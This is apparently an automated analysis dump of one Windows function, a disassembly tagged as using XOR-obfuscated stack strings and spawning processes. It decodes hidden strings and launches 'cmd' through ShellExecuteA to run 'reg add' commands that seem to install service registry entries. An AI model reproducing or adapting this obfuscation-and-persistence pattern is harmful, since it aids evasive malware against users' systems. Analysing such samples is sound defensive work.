Function at 0x140002150
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x90]
sub rsp, 0x190
cmp qword [0x140006718], 0x10
lea rdi, [0x140006700]
mov r14, qword [0x140006710]
jb 0x140001777
mov rdi, qword [0x140006700]
mov qword [rsp + 0x188], rbx
add r14, rdi
mov qword [rsp + 0x180], rsi
xorps xmm0, xmm0
xor esi, esi
mov ebx, 7
mov qword [rsp + 0x48], rbx
movups xmmword [rsp + 0x30], xmm0
cmp rdi, r14
jne 0x1400017b2
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
jmp 0x1400018cc
mov rax, r14
movabs rcx, 0x7ffffffffffffffe
sub rax, rdi
mov rdx, rsi
mov qword [rsp + 0x40], rdx
cmp rax, rcx
ja 0x140001d3e
cmp rax, 8
jb 0x140001880
mov rbx, rax
or rbx, 7
cmp rbx, rcx
jbe 0x1400017ee
mov rbx, rcx
jmp 0x1400017fa
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
mov rcx, 0xffffffffffffffff
mov rax, rbx
add rax, 1
cmovb rax, rcx
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x140001d38
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140001860
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001d38
mov rcx, rax
call fcn.140002190
mov rcx, rax
test rax, rax
je 0x140001919
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x40]
jmp 0x140001874
test rcx, rcx
je 0x140001871
call fcn.140002190
mov rdx, qword [rsp + 0x40]
jmp 0x140001874
mov rax, rsi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x48], rbx
nop
movsx eax, byte [rdi]
lea rcx, [rsp + 0x30]
cmp rbx, 8
cmovae rcx, qword [rsp + 0x30]
inc rdi
mov word [rcx + rdx*2], ax
mov rdx, qword [rsp + 0x40]
inc rdx
mov qword [rsp + 0x40], rdx
cmp rdi, r14
je 0x1400018b2
mov rbx, qword [rsp + 0x48]
jmp 0x140001880
cmp qword [rsp + 0x48], 8
lea rax, [rsp + 0x30]
cmovae rax, qword [rsp + 0x30]
mov word [rax + rdx*2], si
mov rbx, qword [rsp + 0x48]
cmp rbx, 8
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
call fcn.140001530
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140001925
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001920
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001920
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002424
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x140004660]
mov rcx, rsi
movdqa xmm1, xmmword [0x140004570]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [0x1400045c0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x1400044d0]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [0x140004560]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [0x1400045b0]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [0x1400046b0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [str.GPTwRAG_nAA]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [0x1400045d0]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x40], xmm1
mov byte [rbp - 0x20], 0
nop
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rcx + 0x51], al
inc rcx
cmp rcx, 0x8f
jb 0x1400019b0
mov dword [rsp + 0x28], esi
lea r9, [rsp + 0x51]
lea r8, [rbp + 0xb1]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0xb9]
mov byte [rbp - 0x20], 0
xor ecx, ecx
mov dword [rbp + 0xb0], 0x646d6342
mov byte [rbp + 0xb4], 0
mov dword [rbp + 0xb8], 0x65706f4d
mov word [rbp + 0xbc], 0x6e
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x140004590]
lea r9, [rsp + 0x51]
movdqa xmm1, xmmword [0x140004630]
lea r8, [rbp + 0xb1]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0xb9]
movdqa xmm0, xmmword [0x140004680]
xor ecx, ecx
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [0x1400045f0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x140004540]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [0x140004500]
mov dword [rsp + 0x28], esi
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x50], 0
mov dword [rbp + 0xb0], 0x646d637c
mov byte [rbp + 0xb4], 0
mov dword [rbp + 0xb8], 0x65706f1f
mov word [rbp + 0xbc], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400045a0]
lea r9, [rsp + 0x51]
movdqa xmm1, xmmword [0x140004630]
lea r8, [rbp + 0xb1]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0xb9]
movdqa xmm0, xmmword [0x140004680]
xor ecx, ecx
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [0x1400045f0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x140004550]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [0x140004600]
mov dword [rsp + 0x28], esi
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x60], xmm1
mov word [rbp - 0x50], 0x22
mov dword [rbp + 0xb0], 0x646d632d
mov byte [rbp + 0xb4], 0
mov dword [rbp + 0xb8], 0x65706f0a
mov word [rbp + 0xbc], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x140004580]
movdqa xmm1, xmmword [0x140004630]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [0x140004680]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [0x1400045f0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [str.___v_ObjectName_G_DWORD__d_2__f_646_0_j6_4_70____6j_60__D_0047kkw___i____v_Start__t_RE___v_Type__t_REGMGAWxfPLeRGPTwRGhixwwpaixgQVVAJ__c__reg_add__HK_c__reg_add__HKz_c__reg_add__HK]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [0x140004650]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x60], xmm1
mov dword [rbp - 0x50], 0x536c6163
mov dword [rbp - 0x4c], 0x65747379
mov dword [rbp - 0x48], 0x2f20226d
mov word [rbp - 0x44], 0x2266
mov byte [rbp - 0x42], 0
mov dword [rbp + 0xb0], 0x646d6330
mov byte [rbp + 0xb4], 0
mov dword [rbp + 0xb8], 0x65706f48
mov word [rbp + 0xbc], 0x6e
mov dword [rsp + 0x28], esi
lea r9, [rsp + 0x51]
lea r8, [rbp + 0xb1]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0xb9]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xb0]
call fcn.140001d50
mov r9, rax
mov r8d, 0x3a
lea rcx, [rax + 2]
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [r9]
xor byte [rcx - 1], dl
lea rcx, [rcx + 5]
movzx edx, byte [r9]
xor byte [rcx - 5], dl
movzx edx, byte [r9]
xor byte [rcx - 4], dl
movzx eax, byte [r9]
xor byte [rcx - 3], al
movzx eax, byte [r9]
xor byte [rcx - 2], al
sub r8, 1
jne 0x140001c30
mov byte [r9 + 0x123], r8b
lea rdx, [rbp + 0xc1]
mov byte [rbp + 0xbc], r8b
inc r9
lea r8, [rbp + 0xb9]
mov dword [rsp + 0x28], esi
xor ecx, ecx
mov dword [rbp + 0xb8], 0x646d6346
mov dword [rbp + 0xc0], 0x65706f24
mov word [rbp + 0xc4], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x140004670]
lea r9, [rsp + 0x31]
mov dword [rsp + 0x28], esi
lea r8, [rbp + 0xb1]
lea rdx, [rbp + 0xb9]
mov dword [rsp + 0x40], 0x63764168
xor ecx, ecx
mov dword [rsp + 0x44], 0x76537074
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x48], 0x2263
mov byte [rsp + 0x4a], 0
mov dword [rbp + 0xb0], 0x646d6348
mov byte [rbp + 0xb4], 0
mov dword [rbp + 0xb8], 0x65706f36
mov word [rbp + 0xbc], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rsi, qword [rsp + 0x180]
mov rbx, qword [rsp + 0x188]
add rsp, 0x190
pop r14
pop rdi
pop rbp
ret
call fcn.140001120
int3
call fcn.1400011c0
int3
lea rcx, [0x1400066e0]
jmp 0x140001740